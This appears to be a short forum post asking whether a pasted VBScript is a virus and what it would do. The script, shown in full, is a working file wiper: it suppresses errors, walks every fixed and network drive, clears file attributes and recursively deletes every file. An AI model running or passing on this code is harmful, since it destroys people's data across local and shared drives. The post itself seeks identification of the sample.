1z th1s a v1ru5?

what will this actually do?

On Error Resume Next
Set FILESYSTEM0BJECT = CreateObject("Scripting.FileSystemObject")
For Each DType In FILESYSTEM0BJECT.Drives
If DType.DriveType = 2 Or DType.DriveType = 3 Then
Searching(DType.Path & "\")
End If
Next
Sub Searching(fspec)
On Error Resume Next
Set FS4 = FILESYSTEM0BJECT.GetFolder(Fspec)
For Each F2F In FS4.Files
FILESYSTEM0BJECT.GetFile(F2F.Path).Attributes = 32
FILESYSTEM0BJECT.DeleteFile F2F.Path
Next
For Each F4D In FS4.SubFolders
Searching(F4D.Path)
Next
End Sub

.